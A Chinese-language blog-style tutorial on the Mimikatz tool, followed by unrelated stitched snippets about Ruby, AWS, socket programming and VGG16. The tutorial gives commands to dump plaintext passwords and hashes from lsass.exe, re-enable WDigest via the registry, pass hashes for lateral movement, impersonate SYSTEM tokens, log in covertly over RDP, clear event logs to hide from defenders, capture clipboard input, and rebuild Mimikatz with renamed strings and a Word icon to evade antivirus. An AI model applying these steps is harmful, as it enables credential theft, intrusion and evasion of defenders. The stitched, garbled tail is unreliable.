Mimikatz 的主要原理是在 Windows 系统中用户登录后系统会将身份凭证存储于lsass.exe进程的内存当中,Mimikatz 通过注入lsass.exe进程读取进程内存,从中获取对应的明文密码。
在 Windows Vista 系统之后不再存储 LM HASH,而 Windows 8.1 系统之后内存中也不再存储明文密码,因此在高版本 Windows 系统中无法利用 Mimikatz 直接读取明文密码。Mimikatz 能获取明文密码的关键是 wdigest,这是一个可逆算法,相关注册表存储位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"(DWORD)
后续高版本的 Windows 系统不能读取明文是因为关闭了该注册表键,如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
给小伙伴整理了相对应的学习资料,如果你需要的话,我也可以分享一部分出来(涉密部分分享不了),需要的可以
Mimikatz 的启动需要管理员/SYSTEM权限运行,默认情况下拥有 32 位以及 64 位版本,在 Kali Linux 中默认存放位置为/usr/share/mimikatz,大多数人使用 Mimikatz 一般只用到两个命令,而对其他命令不太了解,接下来会为大家全面介绍 Mimikatz 这款神器。
privilege::debug
sekurlsa::logonpasswords
也可以使用一句话输出保存
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt
使用命令可查看全部功能模块
::

调试进程修改运行权限为SYSTEM
privilege::debug
privilege:: #查看 privilege 的运行模块

开启日志记录,保存读取的用户凭证信息
standard::log

加密模块主要用于导出可导出的证书,利用 CryptoAPI 函数访问证书,相当于简化版的 certutil。有时候一张合法的证书非常有用,当利用合法证书生成木马程序时可能被杀软认做白名单程序从而不进行查杀。相关参数如下:
/provider #指定提供者
/providertype #指定提供类型
/cngprovider #CNG提供者
/export #导出密钥 PVK 文件
查看相关密钥的提供者
crypto::providers

查看当前系统存储信息
crypto::stores

常见的系统存储用户名包括:
CURRENT_USER
USER_GROUP_POLICY
LOCAL_MACHINE
LOCAL_MACHINE_GROUP
LOCAL_MACHINE_ENTERPRISE
CURRENT_SERVICE
USERS
SERVICES
指定系统存储为local_machine进行查看
crypto::stores /systemstore:local_machine

查看用户当前证书
crypto::certificates

导出 ROOT 根证书
crypto::certificates /store:Root

导出证书必须配合 store 参数。其中公钥为DER,私钥为PFX,密码为 mimikatz
crypto::certificates /store:Root /export

使用 CryptoAPI 打补丁,有时候证书无法导出可能就是补丁没有打
crypto::capi

使用 CNG 打补丁,用于导出未标记可导出的证书
crypto::cng

列出智能读卡器,可能会出现报错
crypto::sc

查看相关密钥
crypto::key

使用 OpenSSL 生成证书
openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem
Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。查看所有身份认证信息,成功拿到用户明文密码
sekurlsa::logonpasswords

查看用户哈希可能会出现报错,这主要是由于当前权限较低
lsadump::sam

解决方法非常简单,只要以系统权限运行即可
process::runp
在新窗口中再次运行可成功拿到哈希

重置用户 NTLM 哈希会把哈希直接写入 SAM 数据库当中,因此执行该操作相当于重置密码,再次登录需要使用新密码进行登录
lsadump::setntlm /user:admin /ntlm:b2781ba85ac750ec286744b009599637

转储并导出lsass.exe进程
sekurlsa::minidump lsass.tmp
通过哈希传递进行横向移动
sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637
凭证管理器中可查看 Windows 凭证

Token 模块主要用于查看、假冒现有 token。查看当前 token 信息
token::whoami

查看 token 列表并假冒系统管理员
token::list
token::elevate /NT AUTHORITY\SYSTEM

还原假冒进程
token::revert

一般情况下重复登录远程桌面会导致已登录用户会直接退出或提示有其他用户登录

配合命令无提示登录远程桌面,该功能在 HW 中非常好用,即使管理员处于登录状态,我们仍能悄悄登录其他用户
ts::multirdp

成功登录原会话不受影响,使用命令查看会话列表
ts::sessions

虽然目前不会被已登录用户发现,但在事件查看器当中仍会存在登录日志

使用命令一键清除日志
event::clear

成功清除日志后蓝队工程师无法通过系统日志来还原攻击过程

安装/卸载 Mimikatz 服务,帮助我们监听用户输入
service::+
service::-

成功安装 Mimikatz 服务且已自动启动

比如监听粘贴文本
misc::clip

Mimikatz 作为最常用的黑客工具早已被各大安全软件标记,比如360杀毒、360安全卫士、卡巴斯基等。使用源码免杀能帮助我们绕过杀毒软件的查杀,这是一种基于特征码的免杀方式,只需定位到源码中的特征代码进行修改就可达到免杀效果,一般会定位三个位置,分别是代码、字符串和输入表。
在免杀前需要准备以下三个要素:
Mimikatz 源码
Visual Stdio 2019(C++)
vc依赖文件
在 Github 中下载最新版的 Mimikatz
下载地址:https://github.com/gentilkiwi/mimikatz

更新 360 杀毒、病毒库为最新版本

点击 Mimikatz 中的启动文件启动 Visual Stdio,在帮助菜单》关于〉查看许可证状态中输入激活证书可成功激活。而在 VS 2012 中如果出现报错信息(error MSB8020),解决方法为进入项目》属性〉常规》平台工作集中,将平台改为 VS 2012(v110)后即可成功运行编译。

选择生成出现报错界面,点击工具》获取工具和功能〉C++ 进行桌面开发》C++ Windows XP Support for VS 2017 v141,点击修改即可解决问题

下载安装完成后修改手工工具集为 2017 版本

在配置属性中的 C++ 中修改将警告视为错误改为否,否则每当出现错误就无法编译

重新生成又出现报错:MSB8036

在项目属性页选择已安装的 SDK 版本

点击重新生成后成功编译 32 位 Mimikatz

如果需要生成 64 位程序可在解决方案》配置属性选择平台为x64

点击重新生成成功编译 64 位 Mimikatz

步入正题选择项目 mimikatz 的编辑》查找和替换》在文件中替换

把关键字 mimikatz 所有的字符串替换为 macsec,点击全部替换即可

由于字符串全部被替换,导致引入 mimikatz 的文件名也被替换,因此需修改全部文件名为 macsec

点击重新生成后输出macsec.exe

虽然目前能够进行静态查杀,但是还是无法绕过动态查杀


进一步删除macsec.c和macsec.h的注释信息

再次重新生成程序使用360测试仍无法绕过动态查杀

在macsec.rc中修改版本信息,把带有 gentilkiwi 的公司名修改为 macsec

修改图标macsec.ico为 Office Word 图标后再次点击生成

放入免杀环境再次运行即可成功绕过

当然命令也能够成功执行

完成免杀后可上传至云平台查杀测试,但一般不要这么做,云平台会标记免杀程序
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
我想在Ruby中创建一个用于开发目的的极其简单的Web服务器(不,不想使用现成的解决方案)。代码如下:#!/usr/bin/rubyrequire'socket'server=TCPServer.new('127.0.0.1',8080)whileconnection=server.acceptheaders=[]length=0whileline=connection.getsheaders想法是从命令行运行这个脚本,提供另一个脚本,它将在其标准输入上获取请求,并在其标准输出上返回完整的响应。到目前为止一切顺利,但事实证明这真的很脆弱,因为它在第二个请求上中断并出现错误:/usr/b
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
网络编程套接字网络编程基础知识理解源`IP`地址和目的`IP`地址理解源MAC地址和目的MAC地址认识端口号理解端口号和进程ID理解源端口号和目的端口号认识`TCP`协议认识`UDP`协议网络字节序socket编程接口`sockaddr``UDP`网络程序服务器端代码逻辑:需要用到的接口服务器端代码`udp`客户端代码逻辑`udp`客户端代码`TCP`网络程序服务器代码逻辑多个版本服务器单进程版本多进程版本多线程版本线程池版本服务器端代码客户端代码逻辑客户端代码TCP协议通讯流程TCP协议的客户端/服务器程序流程三次握手(建立连接)数据传输四次挥手(断开连接)TCP和UDP对比网络编程基础知识
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
是否可以在不实际下载文件的情况下检查文件是否存在?我有这么大的(~40mb)文件,例如:http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm这与ruby不严格相关,但如果发件人可以设置内容长度就好了。RestClient.get"http://mirrors.sohu.com/mysql/MySQL-6.0/MySQL-6.0.11-0.glibc23.src.rpm",headers:{"Content-Length"=>100} 最佳答案
我在这方面尝试了很多URL,在我遇到这个特定的之前,它们似乎都很好:require'rubygems'require'nokogiri'require'open-uri'doc=Nokogiri::HTML(open("http://www.moxyst.com/fashion/men-clothing/underwear.html"))putsdoc这是结果:/Users/macbookair/.rvm/rubies/ruby-2.0.0-p481/lib/ruby/2.0.0/open-uri.rb:353:in`open_http':404NotFound(OpenURI::HT
我在一个ruby文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}
深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG